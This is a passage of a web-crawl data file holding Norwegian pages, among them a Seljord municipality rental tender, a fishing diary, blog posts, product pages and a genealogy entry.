enhver tid har. God tirsdag, P\u00e5l\\!\n    \n6.  \n    \n    Berit  p\u00e5 30. november 2010 hos 10:02 \n    \n    Og Paal: Gratulerer med b\u00e5de vel overst\u00e5tt og med ny jobb\\!\n    \n7.  \n    \n    beate hope  p\u00e5 30. november 2010 hos 10:29 \n    \n    \u2013 'l\u00e5ner' noen av ordtakene om tid\\!:) Bra sagt\\!\n    \n8.  \n    \n    Kj\u00e6re Paal,\n    Gratulerer s\u00e5 mye med 50-\u00e5rs dagen. Du ser utrolig godt ut p\u00e5 bildet \ud83d\ude42 Og gratulerer med jobb. H\u00e5per du fortsetter \u00e5 skrive dine tirsdage morgen. Jeg koser meg veldig med \u00e5 lese det. Vi trenger virkelig \u00e5 ta tiden tilbake, spesielt er det viktig n\u00e5 i desember. God f\u00f8rjulstid. Klem Cille \ud83d\ude42\n    \n9.  \n    \n    Sissel  p\u00e5 30. november 2010 hos 20:47 \n    \n    Takk for denne Paal, og forsinkede gratulasjoner\\!\n10. \n    \n**\u00abJeg ble nettopp invitert av Paal Leveraas til \u00e5 re-f\u00f8lge hans relanserte blogg, Tirsdag Morgen. S\u00e5 sjekket jeg denne artikkelen hans f\u00f8rst, for \u00e5 se om det var verd det. Pinad\u00f8 - det var det\\! Anbefales\\!\u00bb \\~ *Nils Petter Nordskar*\n\n## Litt klokere hver tirsdag?\n\nTirsdag morgen som ukebrev er en ukentlig mental vitamininnspr\u00f8ytning rett i din innboks, ofte med en liten ekstra vri spesielt for deg som abonnerer. Meld deg p\u00e5 her.\u00a0\n\n", "language": "no", "__index_level_0__": "aab32b39-e30a-45b6-b4ac-2893e9af8d35"}
{"url": "http://seljord.kommune.no/om-seljord/innkjoep/leigeavtale-for-vaksenopplaeringa-og-flyktningtenesta", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:16:02Z", "text": "# Leigeavtale for vaksenoppl\u00e6ringa og flyktningtenesta i Seljord kommune\n\nVaksenoppl\u00e6ringa og flyktningetenesta leiger for tida lokale i Telebygget, Seljord sentrum. Gjeldande avtale g\u00e5r ut 1. juni 2017. Seljord kommune ynskjer \u00e5 inng\u00e5 ny leigeavtale for dei neste to til tre \u00e5ra, 2017-2020. Vi ber difor aktuelle utleigarar sende inn tilbod p\u00e5 ny leiegavtale. Det er ynskjeleg at tilboda blir levert fredag 24.3.2017, seinast kl 12.00.\n\n \nInnkomne tilbod vil bli vurdert av kommunalsjefen, verneombod og tilsette ved Vaksenoppl\u00e6ringa og flyktningetenesta.\n\n**Tilboda vil bli vurdert ut fr\u00e5 ei heilskapleg vurdering, men ein vil leggje s\u00e6rleg vekt p\u00e5 desse faktorane:**\n\n1.  At lokala er godt eigna for undervisning og m\u00f8teverksemd. Det er ynskjeleg at enkelte rom er/blir lydisolert og tilpassa ein-til-ein samtaler. Lokale vil og bli vurdert ut i fr\u00e5 krav til milj\u00f8retta helsevern i skule og bhg, jf. https://lovdata.no/dokument/SF/forskrift/1995-12-01-928 og lokal retningslinje for godkjenning av slike lokale (vedlegg).\n2.  Pris og leigeperiode. 2 eller 3 \u00e5r.\n3.  At lokala er sentrumsn\u00e6re.\n4.  At lokala er klare til bruk *seinast* 1.8.2017.\u00a0  \n\n**Behov:**\n\nUndervisningsrom:\n\n1.  Behov for 3 klasserom med plass til om lag 15 elevar.\u00a0Arealbehov: 2,5 m\u00b2 per elev + tilsvarande for l\u00e6rar. 16 personar x 2,5 m\u00b2 = 40 m\u00b2.\u00a0Totalt 120 m\u00b2\n2.  Behov for 1 grupperom med plass til 5-6 elevar + l\u00e6rar. 6 elevar + l\u00e6rar = 7 x 2,5 m\u00b2. Totalt 17,5 m\u00b2.\n3.  Behov for 5 kontor:  \n    Leiar VO: 6 m\u00b2\u00a0,\u00a0Flyktningekonsulent: 6 m\u00b2 , 2 l\u00e6rarar VO kan ha felles kontor. Da m\u00e5 ein ha minst 6 m\u00b2 golvplass, jf. Arbeidstilsynet sin norm: 12 m\u00b2 ,\u00a0  \n    2 arbeidsrom for l\u00e6rarar/assistentar/elevar: 24 m\u00b2 .\u00a0Totalt 48 m\u00b2.\u00a0  \n    Arealbehov punkt 1-3, om lag 180-190 m\u00b2.\n\nI tillegg m\u00e5 ein ha:\n\n  - Fellesareal med sofagruppe og informasjon.\n  - Tilgang til kantine/matrom\n  - Tilgang til toalett og garderobe for deltakarar og tilsette\n  - Lagerplass til undervisningsmateriell, kopiering m.m.\n  - Ev.\n\nSamla arealbehov er truleg rundt 220-300 m\u00b2.\n\n", "language": "no", "__index_level_0__": "4aa54fad-613d-4cbf-9cc0-41f517ff3a0d"}
{"url": "http://www.rytter.no/unghestsamling-i-dressur-27-28-januar-2018/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:25:53Z", "text": "## Unghestsamling i dressur 27.-28. januar 2018 Publisert: 11.01.2018,\u00a0 Sist endret: 11.01.2018\n\n\n\n**Norges Rytterforbund i regi av grenutvalget i dressur (GU-D) inviterer til\u00a0trening for unghester l\u00f8rdag 27. og s\u00f8ndag 28.\u00a0januar 2018 p\u00e5 Tanum ridesenter.**\n\n**M\u00e5lgruppe**: Unghester som kan konkurrere i 4- til 7 \u00e5rs-klasser i 2018\n\n**Trener**: Silje Bakken\n\n\nSp\u00f8rsm\u00e5l om samlingen kan rettes til GU-Ds kontaktperson \u2013 Vegard Brekke \u2013 p\u00e5 e-post firstname.lastname@example.org\u00a0eller tlf. 92 62 81 55\n\n**Bindende p\u00e5melding innen 19. januar kl 2200.**\n\n\u00a0\n", "language": "no", "__index_level_0__": "c3b34da5-5ac6-4097-92ca-ee035b6ce400"}
{"url": "https://no.lookfantastic.com/decleor-aroma-white-c-intense-brightening-mask-5-masks-x-20ml/10563163.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:47:26Z", "text": "# DECL\u00c9OR Aroma White C+ Intense Brightening Mask (5 Masks X 20ml)\n\n\n\n    \n\n### Beskrivelse\n\nUnn\u00a0huden\u00a0den\u00a0optimale\u00a0hengivelsen med Decl\u00e9or Aroma White C+ Intense\u00a0Brightening Mask. Denne 10 minutters ansiktsbehandlingen best\u00e5r av en blanding av konsentrerte ingredienser som fungerer for \u00e5 gi gl\u00f8d til og hydrere\u00a0ansiktshuden.\n\nPasser for alle hudtyper, spesielt hud som sersl\u00f8v ut, Decl\u00e9or Aroma White C+ Intense\u00a0Brightening Mask bryr seg om\u00a0huden\u00a0og etterlater den etterfylt og revitalisert, med en sunn gl\u00f8d.\n\nBruksanvisning:\n\n  - Bruk en gang i uken.\n  - P\u00e5f\u00f8r\u00a0p\u00e5 ansiktet etter rensing.\n  - Fjern masken fra posen, og legg den forsiktig over ansiktet.\n  - La den v\u00e6re p\u00e5 i 10 minutter.\n  - Fjern den og forsiktig mass\u00e9r overfl\u00f8dig produkt inn i\u00a0huden.\n\n### Produktdetaljer\n\n", "language": "no", "__index_level_0__": "0768b471-658c-492f-94ad-742c8bafd4b9"}
{"url": "http://thelateparade.blogspot.com/2010/01/we-like-men-in-suits.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:40:24Z", "text": "\n\n## fredag 8. januar 2010\n\n### We like men in suits\n\nSer dere at jeg har forandret p\u00e5 bloggen? Jeg synes kanskje det er litt teit at det er en dressmann p\u00e5 bildet, MEN fortsatt rimelig kult. Mener jeg. Hva mener du?  \n  \nDet er fredag, og jeg sitter fullt p\u00e5kledd med morgenk\u00e5pe over. Kulda smyger seg inn i alle kriker og kroker, s\u00e5 det gjelder \u00e5 pakke seg godt inn.  \n  \nJa, dette ble et teit innlegg, jeg ville egentlig bare h\u00f8re hva dere synes om det nye utseendet. S\u00e5 langt liker jeg det :)  \n  \nForresten, praksisen g\u00e5r bedre, og jeg begynner \u00e5 komme inn i rytmen. Har allerede hatt tre saker p\u00e5 trykk, og det kommer til \u00e5 bli flere. Jeg klipper selvf\u00f8lgelig ut alle sammen, og limer de inn i en egen bok\\! Haha, litt stolt eller? Og fordi jeg er stolt, kommer her to kvalitetsbilder: et av arbeidsplassen, og et av meg p\u00e5 kontoret *mitt\u00a0*(kan du tro det, jeg fikk eget kontor?\\!). Don't mind the hair, det ser ut som jeg mangler en stor del av det. Men jeg lover dere, det er der. Bare opp\u00e5 toppen et sted\\!  \n  \n**Lotz of kizzez . . .**  \n  \n\n  \n\n Skrevet av Carina   kl. 22:21   \n\n Tags: Helg, Praksis, The Late Parade \n    \n\n#### 4 kommentarer:\n1.  \n    \n    Katrine8. januar 2010 kl. 23:15\n    \n    Jeg liker det jeg :D det er litt spesielt og det er derfor det blir kult :)  \n      \n    haha s\u00e5 s\u00f8tt bilde :D godt \u00e5 h\u00f8re at det g\u00e5r bra, jeg hadde ogs\u00e5 v\u00e6rt sykt stolt :D\n    \n2.  \n    \n    Ask for answers9. januar 2010 kl. 01:48\n    \n    Du er s\u00f8t\\! Hmm.. not to happy about the pink, darling\\! Likte designet bedre f\u00f8r, det var s\u00e5 stilrent og enkelt. Men, en ting er sikkert: Du er meget dyktig\\! Si i fra om du tar i mot oppdrag, kunne trengt litt hjelp, og betaler selvf\u00f8lgelig.  \n      \n    SV: Tusen takk\\! Du skriver s\u00e5 oppmuntrende kommentarer\\! Har bare lyst til \u00e5 gi deg en stor klem\\! \\<3\n    \n3.  \n    \n    Ask for answers9. januar 2010 kl. 01:50\n    \n    too happy\\*\n    \n4.  \n    \n    Ask for answers9. januar 2010 kl. 12:47\n    \n    S\u00e5nn\\! N\u00e5 ble det fint her inne\\! :D Dette likte jeg :)  \n      \n    SV: Skj\u00f8nner\\! Du f\u00e5r si i fra, da :) Jeg kunne virkelig trengt litt headerhjelp, hvertfall. Er helt ubrukelig n\u00e5r det gjelder slikt.  \n      \n    \\<3\n    \n", "language": "no", "__index_level_0__": "82cb3c66-c0c1-4d55-80cb-720c39de116d"}
{"url": "http://barnerettsbloggen.no/anke-over-midlertidig-avgjorelse/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:34:36Z", "text": "# Anke over midlertidig avgj\u00f8relse\n\n27/05/2016advokatwulff\n\n\n\nMidlertidige avgj\u00f8relser etter barneloven \u00a7 60 er tvangskraftig f\u00f8r de er rettskraftig. De midlertidige avgj\u00f8relsene etter barneloven er tvangskraftig fra de er avsagt. I praksis betyr dette at de skal f\u00f8lges s\u00e5 snart tingrettens kjennelse (det er ikke en beslutning eller dom) er avsagt.\n\nKjennelsen kan ankes til lagmannsretten og lagmannsretten vil vanligvis behandle anken relativt raskt. Behandlingen til lagmannsretten er nesten alltid skriftlig. Ettersom Kjennelsen til tingretten er rettskraftig f\u00f8r den er tvangskraftig skal den f\u00f8lges frem til lagmannsretten har behandlet saken. I noen tilfeller kan det for eksempel bety at noen som \u00f8nsker \u00e5 flytte f\u00e5r flyttet i ankeperioden.\n\n", "language": "no", "__index_level_0__": "33f99cde-d4ab-4ae3-b4ba-f1efed13248d"}
{"url": "http://www.skienselva.no/index.php/om-skienselva-elveeierlag/arkiv/nettstedsartikler2/131-dagboknotater-fra-jakt-og-fiskejournalen", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:14:48Z", "text": "Du kan n\u00e5 f\u00f8lge med p\u00e5 hva som blir registrert av fangst fortl\u00f8pende. Trykk her for \u00e5 se hva som registreres av Laks og Sj\u00f8\u00f8rret eller her for \u00e5 se hva som registreres av \u00f8vrige fangster.\n\n## Dagboknotater fra jakt og fiskejournalen\u00a0\n\n-----\n\nVi har f\u00e5tt tilsendt en liten rapport fra en av de mange fiskerne p\u00e5 elva. Bli med svigerfar og svigers\u00f8nn en julikveld i Skienselva.\u00a0\n\n*Av Geir Danielsen*\n\n**Laks og sj\u00f8\u00f8rretfiske fra b\u00e5t i Skiens\u00e6lva med Geir Minken og Vegar Dalen 17 juli 2013**\n\nVegar ber svigerfar med p\u00e5 fisketur i Skiens\u00e6lva flere ganger. Jeg tror vel ikke helt\u00a0 dette vil beg\u00e5 seg da det er s\u00e5 mye som stjeler tid om dagen.\u00a0\n\nMen s\u00e5: Er du klar til dorgetur p\u00e5 Skiens\u00e6lva ? det er Vegar som sp\u00f8r. Han sier han har betalt fisketrygdsavgiften og bare fiskekort mangler. Det kj\u00f8per jeg sj\u00f8l, hos MX Sport p\u00e5 Myren, i butikken til Helge. Wenche og jeg passer sm\u00e5trollene til Vegar og Jeanette i p\u00e5vente begge blir ferdig p\u00e5 jobb i Europrisbutikker i Skien. Det er n\u00e5r jeg har betalt fiskekort hos Helge jeg f\u00f8rst fatter jeg skal p\u00e5 \u00e6lva etter laksen igjen.\u00a0 Minst 10 \u00e5r siden sist\u2026\n\nFisketips fra Minken:\u00a0 Kvelden i forkant turen har jeg \"avv\u00e6pna\" en 18 cm Rapala Orginal Flouting. Dvs tatt av tre stk treblekroker, og s\u00e5 hang jeg den opp i et tre og spraylakkerte wobbleren totalt svart\\!\n\nOm natta er \"alle katter gr\u00e5\", og n\u00e5r det gjelder fiske etter androm fisk er det svart som gjelder, da det kun er silhuett fisken kan se av \"farger\" i m\u00f8rket\\! - Veit vi skal fiske til midnatt - s\u00e5 derfor\u2026\n\nVi setter b\u00e5ten - en 15 fots Yamarin som Vegar eier - p\u00e5 vannet fra b\u00e5thavna ved\u00a0 Kulltangenbrua.\u00a0 Fantastisk f\u00f8lelse gitt, n\u00e5r vi dorger oppstr\u00f8ms i retning Skien by i den sterke elvestr\u00f8mmen.\u00a0 - D\u00e6ven d\u00f8tte for et fantastisk sted det er \u00e5 h\u00f8re hjemme i: Laksefiske kan ut\u00f8ves gjennom sentrum av to byer og opp igjennom et aldeles fantastisk vassdrag til langt oppi Telemark \\!\n\nVi koser oss med niste og kaffe og tar en sommerpils p\u00e5 deling, svigerfar og svigers\u00f8nn. V\u00e6ret er bare helt vanvittig lekkert, med temperatur p\u00e5 over 28 grader. I skyggen . - \u00a0Herlig f\u00f8lelse: Med stang og sn\u00f8re p\u00e5 Skiens\u00e6lva igjen\\!\\!\\!\n\nVi er litt i bakkant siloene da det smeller til p\u00e5 stanga til min kj\u00e6re svigers\u00f8nn. Spennende minutter f\u00f8lger, og omsider f\u00e5r jeg Vegars laks i h\u00e5ven samtidig som jeg filmer begivenheten med b\u00e5de hender og tenner. Ja, jeg filmer faktisk med kjeften \u2013 for f\u00f8rste gang i mitt liv \\! \u00a0denne seansen og store begivenheten skal bare foreviges p\u00e5 alle mulige og umulige vis, -- s\u00e5 DET :O)\\!\\! Vegar tar laksen \u2013 en pjakk p\u00e5 litt over kiloen \u2013 med lus ved gatt og p\u00e5 nakke \u2013 som beviser at den er nykommen i \u00e6lva, p\u00e5 en 13 cm Rapala Husky GFR Floating wobbler\u2026 ( Etter mine erfaringer den desidert BESTE fiskefangeren i hele Rapalakartet\\! )\n\n\u00a0\nTimene g\u00e5r. N\u00e5 kan vi bare fiske fra 07.00 til 24.00. Det er fredningstid om natta \u2013 bag limit med kvote p\u00e5 2 laks \u2013 2 sj\u00f8\u00f8rret pr d\u00f8gn, s\u00e5 tidene har forandra seg siden sist jeg fiska i \u00e6lva. Vegar og svigerfar dorger, dorger og dorger. Oppstr\u00f8ms og nedstr\u00f8ms, og vi holder oss mest rundt forbi ved gamle UNION der hvor utl\u00f8pene fra Norsj\u00f8 buldrer ut i Skiens\u00e6lva. Men godt i utkant soneforbud for dorgefiske. Det m\u00f8rkner. Vi ser mye fisk p\u00e5 sonaren, men mest bunnfisk. - Veit det gikk opp over 100 laks i trappene natt til i g\u00e5r, og bare det \u00e5 vite det, gj\u00f8r alle petrinerver i helspenn \\! Vegar ha sammen med en kamerat - p\u00e5 to turer i forkant denne, \u00a0tatt hele 8 sj\u00f8\u00f8rret. Flere enn helvten av disse p\u00e5 Rapala 13 GFR. Vegar er allerede blitt ihuga proff lystfisker, og det er en gedigen glede for gamle svigerfar at dette kan konstanteres :O)\\! Han har det i blodet - l\u00e6rer utrolig kjapt\\! S\u00e5 jeg sier bare: Velkommen til galskapen, Vegar\\! Med hilsen fra svigerfar i Valeb\u00f8skauen :O) \\! he he he\u2026\u2026\u2026\u2026\u2026\u2026..\n\nDet m\u00f8rkner. Oppe ved Klosterfossen p\u00e5 lakseplassene til GS er det nye kommende ungdommer p\u00e5 plasser det fiskes laks og sj\u00f8\u00f8rret fra. Det er disse kreftene som holder liv i noe som er sterkt truet fra farlige krefter. Noe og virkelig sette pris p\u00e5 i en spennvild, iskald og kapitalistisk monsterverden \\! \\! \\! \u00a0Laksen har heldig hvis mange venner\\! - Det er sannerligen noe denne fantastiske resursen v\u00e5r fra Nord Atlanteren trenger\u00a0 i disse rovgriske oppdrettstider\\!\\!\n\n\n\nFor fjerde gang kutter vi av \u00e6lva i en sving som bringer nesa oppover mot UNION. Jeg har nylig hekta p\u00e5 min k\u00f8lsvarte 18 cm Rapalawobler. Like etter \u2013 30 \u2013 40 meter fra b\u00e5ten til oppsynet: \u00a0\u2013 KAPOW\\! Fast fisk\\! \u2013 D\u00e6ven dundre og riv og r\u00f8sk, for herlige opplevelser som f\u00f8lger\\! Rett f\u00f8r fisken skal h\u00e5ves g\u00e5r den rett til b\u00e5nn under b\u00e5ten som Vegar holder opp mot str\u00f8mmen. St\u00e5r \"bj\u00f8nn\"\\! - Sj\u00f8\u00f8rreten er sterk. - Jeg bruker litt krefter p\u00e5 den, og s\u00e5 leer den p\u00e5 seg igjen. Etter spennende minutter h\u00e5ver Vegar endelig en sj\u00f8\u00f8rret p\u00e5 2,2 kg for gammelminken, denne varme, herlige sommernatta, i Skiens\u00e6lva :O) -\u00a0 JIIIIIIIIIIIIIII, HA \\! SANN \\! \\! \\!\n\nTar bilder av fangsten. Mimrer og prater om tidligere fiskeopplevelser i Skiens\u00e6lva. Har mye jeg vil fortelle Vegar om - som han kanskje kan f\u00e5 bruk for i tiden som kommer\\!? Det fine med dette livet her er at ingen noen gang klarer \u00e5 bli 100% utl\u00e6rt\\! \u2013 Man l\u00e6rer nytt hele tida. Det er derfor det er s\u00e5 DEILIG \u00e5 v\u00e6re LYSTFISKER :O)))\\!\n\n\n\nTakk for fantastiske timer p\u00e5 \u00e6lva fra svigerfar til svigers\u00f8nn :O)\n\nOg takk til alle de ildsjeler som brenner for at s\u00e5 mange av oss kan f\u00e5 oppleve slike fantastiske eventyr :o)))\n\n\u00a0\n\n", "language": "no", "__index_level_0__": "4507bab4-74ce-4c84-b8b6-ded1b69d6213"}
{"url": "http://www.pkjunakovic.com/levis-heritage-overalls-jeans-bl%C3%A5-damekl%C3%A6rlevis-mile-highbegrenset-tid-salg-p-2538.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:45:14Z", "text": "**levis jeans salg Levis Damekl\u00e6r Jeans , Levi\u00b4s Heritage Overalls Jeans Bl\u00e5 Damekl\u00e6r,levis mile high,Begrenset tid salg levis jeans sale,super kvalitet**  \n\nClassic foran, moderne i ryggen. En patch brystlomme og rett hals er kjente detaljene i samlet vi alle kjenner og elsker. Men de justerbare stropper krysse og koble lavt p\u00e5 baksiden linning for en sofistikert vri p\u00e5 den opprinnelige arbeidst\u00f8y kleskode. Skj\u00e6r for en avslappet passform.  \nEgenskaper:  \navslappet passform  \nspesifikasjoner:  \n100% bomull  \nmiddels tung Denim  \n  \nHvis du \u00f8nsker \u00e5 kj\u00f8pe det beste **Damekl\u00e6r** produkter av **Levi\u00b4s** har du funnet den beste plassen p\u00e5 **Levi\u00b4s outlet \u00e5pningstider Norge**. Hos **Levi\u00b4s outlet \u00e5pningstider Norge** jobber vi alltid med de beste merkene som **Levi\u00b4s** for \u00e5 gi deg den beste kvalitet og best pris p\u00e5 alle v\u00e5re **mote** produkter som **Levi\u00b4s** **Heritage Overalls**. Legg inn bestillingen n\u00e5 og motta **Levi\u00b4s** **Heritage Overalls** s\u00e5 fort som mulig.\n\n", "language": "no", "__index_level_0__": "de445ef5-f4af-4cd6-917c-e64fa200c3dd"}
{"url": "https://www.kristkirken.no/nyheter/catch-the-fire-15-18-april-i-bergen", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:05:51Z", "text": "# Catch the Fire 15. - 18. april i Bergen\n\n  \n\nFebruary 8, 2009   \n*by* Kristkirken \n\n\n\n**Les hva pastor Reidar Paulsen sier i innbydelsen:**\n\n\"Det er en \u00e6re og glede for meg \u00e5 \u00f8nske b\u00e5de gjestene fra utlandet og alle deltakerne velkommen til Catch the Fire-konferanse i Kristkirken i Bergen. Mange av oss f\u00f8ler b\u00e5de takknemlighet for og tilknytning til den str\u00f8mmen av fornyelse som siden 1994 har kommet til oss, ikke minst via \u00c5ndens verk i Toronto Christian Fellowship. Vi trenger stadig det n\u00e6re m\u00f8tet med Faderens velsignelse som den har representert.\"\u00a0\u00a0\n\n\u00a0\nVelkommen til Bergen og Catch the Fire\\! Gud vil gjeste sitt folk og la sin herlighet erfares...\n\nVennlig hilsen lederskapet,  \nEinar Ekerhovd, Alv Magnus, H\u00e5kon Fagervik, Tore Kjell Drangsland og Elin Linde Fagerbakke.\n\n\u00a0\n", "language": "no", "__index_level_0__": "03992a81-2fa3-4bda-91c0-6d0a56c1c0fa"}
{"url": "https://fjordbooking.com/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:39:46Z", "text": "    ## Bergen-Gudvangen-N\u00e6r\u00f8yfjorden-Fl\u00e5m-Bergen\n    Opplev indrefileten av fjord Norge, med buss ned Stalheimskleivene til Gudvangen og b\u00e5t fra Gudvangen ut verdensarvfjorden i N\u00e6r\u00f8yfjorden, via Undredal og inn Aurlandsfjorden til Fl\u00e5m.\n  - \n    ## Jostedalsbreen med bretur fra 890,-\n    Bli med til Norges st\u00f8rste isbre, og g\u00e5 med piggsko og is\u00f8ks p\u00e5 breen, passer de aller fleste og utstyr er inkludert. P\u00e5 bussturen til og fra opplever du det flotteste av fjord Norge.\n  - \n    ## Buss billetter fra 99 kr og 1 ukes explorer kort \u00abhop on hop off\u00bb 790 kr\n    Bussbilletter fra 99,- og 1 ukers explorer kort \"Hop on hop off\" 790,-\n  - \n## Opplev verdens vakreste fjord med Fjord Visjon\n\n", "language": "no", "__index_level_0__": "1b3afbce-9ecf-4efa-8e6e-a84fd696b16c"}
{"url": "http://www.matpakkebloggen.no/2013/10/matboks-til-en-biltur.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:18:20Z", "text": "## l\u00f8rdag 17. juni 2017\n\n### Matboks til en biltur\n\nDet er godt med litt snacks n\u00e5r vi kj\u00f8rer litt lengre i bil, s\u00e5 da pakker jeg med matbokser. Jeg pr\u00f8ver \u00e5 finne mat som ikke er veldig v\u00e5t eller klissete, slik at det ikke gj\u00f8r noe om en og annen bit faller ut av boksen.  \n\n\n\nI denne boksen ble det  \n\n  - Agurkskiver\n  - Minibruchetta\n  - Lomper med leverpostei\n  - Ruller med Norvegia\n  - Ruller med kyllingskinke\n  - Bl\u00e5b\u00e6r\n  - Druer\n\nJunior var veldig forn\u00f8yd. :)  \n  \nHa en god helg\\!  \n\u2665 Marianne\n\n#### 3 kommentarer:\n\n1.  \n    \n    Ingvild \u00d8stengen Aalberg21. oktober 2013 kl. 12:43\n    \n    Veldig lurt\\! M\u00e5 pr\u00f8ve \u00e5 huske det til neste biltur\\!\n    \n2.  \n    \n    eldbj\u00f8rg24. oktober 2013 kl. 09:41\n    \n    Denne s\u00e5 god ut............. Jeg opplever ogs\u00e5 det at det m\u00e5 sp\u00f8res med noe fancy matpasser p\u00e5 tur, hvis ikke er veien innom shell og p\u00f8lse kort...... Selv om hos oss er det vi voksene som nyter matpakken....b\u00f8llefr\u00f8et vil jo ikke ha.............  \n      \n    Men men, VI koser oss ofte med denne typen matpakker p\u00e5 tur....  \n      \n    Har nesten blitt en vane...vi M\u00c5 ha... M\u00c5 ha \"noe\" \u00e5 knaske p\u00e5....... Pg da er dette en sunn m\u00e5te \u00e5 dekke det behovet p\u00e5, isteden for en pk kjeks, en pose bamsemums osv.........been there....done that.....and moved on heldigvis.....\n    \n    1.  \n        \n        Marianne (Sakkalo)24. oktober 2013 kl. 11:24\n        \n        Det er lettere \u00e5 spise sunt n\u00e5r man pakker maten selv - og s\u00e5 sikrer jeg at det faktisk er godt, for det kan jeg ikke si om all mat man f\u00e5r p\u00e5 bensinstasjoner... Vi har bare halvannen time til hytta, og med matbokser i bilen f\u00e5r vi kj\u00f8rt opp i ett strekk uten pause. Det er ogs\u00e5 greit.  \n        S\u00e5 bra at du har kommet forbi kjeksen og bamsemumsen, det kan du gi deg selv en klapp p\u00e5 skulderen for\\! MEN - dersom du faller for fristelsen \u00e5 kj\u00f8pe bamsemums igjen burde du utfordre noen med bamsemumsleken. :) Den g\u00e5r ut p\u00e5 \u00e5 gjette hvor mange bamsemums en selv klarer \u00e5 spise p\u00e5 ett minutt, og s\u00e5 fors\u00f8ke \u00e5 gjennomf\u00f8re det. De fleste gjetter b\u00e5de ti og tolv og kanskje mer, men de f\u00e6rreste klarer flere enn 6-7. Godt partytriks hvis du vil vinne et veddem\u00e5l...  \n        Ha en god dag\\!  \n        \u2665 Marianne\n        \n## Om meg\n\n\n\n  - Marianne  \n    Jeg er i min beste alder, gift, mor til to flotte gutter p\u00e5 8 1/2 og 10 \u00e5r. Jeg er nok langt over gjennomsnittet opptatt av barns spisevaner og hvordan man kan lage god, \u00abriktig\u00bb og spennende mat for b\u00e5de store og sm\u00e5 - og jeg trives med \u00e5 blogge om dette.\n\n    I disse skolestardager er det nok noen som sp\u00f8r seg: HVA SKAL JEG FYLLE I MATBOKSEN? Her er en liten p\u00e5minnelse om noe av det du kan ha...\n\n    \n\n## MATPAKKE\n**Matpakke** er ferdigtilberedt mat som er pakket inn og tatt med ut av hjemmet til for eksempel arbeidsplasser, skoler eller som niste p\u00e5 turer. En typisk norsk matpakke best\u00e5r ofte av ferdigsmurte br\u00f8dskiver med p\u00e5legg, skilt med mellomleggspapir og pakket inn i matpapir eller en matboks.  \n  \nI den norske skolen er det vanlig at barn tar meg seg matpakke hjemmefra, som blir kalt skolemat eller niste. Det blir ofte blant de yngre elevene organisert spising av matpakke i skoletiden. Dette finner ofte sted rundt elleve-tiden om dagen. Skolen har ogs\u00e5 ofte melk- og frukt-ordninger der elevene f\u00e5r utdelt det ovenfornevnte.  \n  \nMatpakken er en tradisjon i Norge som strekker seg fra 1930-tallet. Ordet matpakke kom p\u00e5 3. plass da TV-programmet \u00abTypisk norsk\u00bb k\u00e5ret typiske norske ord blant seerne.  \n  \nBlant annet har Knutsen & Ludvigsen laget en hyllest til fenomenet med sangen \u00abMatpakkespisevise\u00bb.  \n  \n\\---oOo--- ---oOo--- ---oOo---  \n  \nEn **matboks** er en boks man kan transportere eller oppbevare (niste)mat i, f.eks matpakke. Den blir fortrinnsvis brukt til medbrakt lunsjmat, men kan ogs\u00e5 benyttes til oppbevaring av restemat fra et tidligere m\u00e5ltid. Matbokser er vanligvis laget av tre, metall eller plast. Matbokser kan v\u00e6re utsmykket med logoer og tegninger. Gamle matbokser kan bli samleobjekter.  \n  \nVerdens st\u00f8rste samling av matbokser befinner seg i Columbus i den amerikanske delstaten Georgia. Museet er bare fire \u00e5r gammelt, men inneholder allerede mer enn tusen matbokser og matchende tilbeh\u00f8r som kj\u00f8lebager og termoser. Her kan man beskue alt fra gamle metallbokser til skolebarnas moderne plastvarianter.  \n  \n\n    \n\n## Jeg samarbeider med LabelDaddy\n\n", "language": "no", "__index_level_0__": "09e5e20d-7896-4ed7-949f-876d2bd8831c"}
{"url": "https://www.geni.com/people/Kirsten-Fredrike-Schive/6000000001095136451", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00124.warc.gz", "warc_date": "2018-03-25T00:00:58Z", "text": "\n\n## Kirsten Fredrike Schive (Nilson), til Sj\u00f8vold i Selbu & N\u00f8isomhet i Skogn\n\nBirthdate:\n\nMarch 8, 1813 (72)\n\nMoss, \u00d8stfold, Norge         \n\nDeath:\n\n February 15, 1886  (72)  \nTrondheim, S\u00f8r-Tr\u00f8ndelag, Norge\n\nImmediate Family:\n\nDaughter of Haagen Nilson and Hedevig Hansdatter Abelsted  \nWife of Johan Christian Vogelsang Schive, til Sj\u00f8vold i Selbu  \nMother of Haagen Nils Peter Schive; Conrad Schive; Caja Martine Dorothea Birch; Reinholdt Schive; Albert Christian Schive and 6 others; Valborg Schive; Axel Thorleif Schive; Hedevig Sofie Petersen; Johan Fredrik Schive; Adelgunde Christiane Berg and Olaf Schive \u00ab less  \nSister of Poul Nilson; Haagen Nilson; Hans Nilson and Hedvig Nilson  \n\n#### About Kirsten Fredrike Schive, til Sj\u00f8vold i Selbu & N\u00f8isomhet i Skogn\n\nKirsten Frederike flytter antagelig til g\u00e5rden 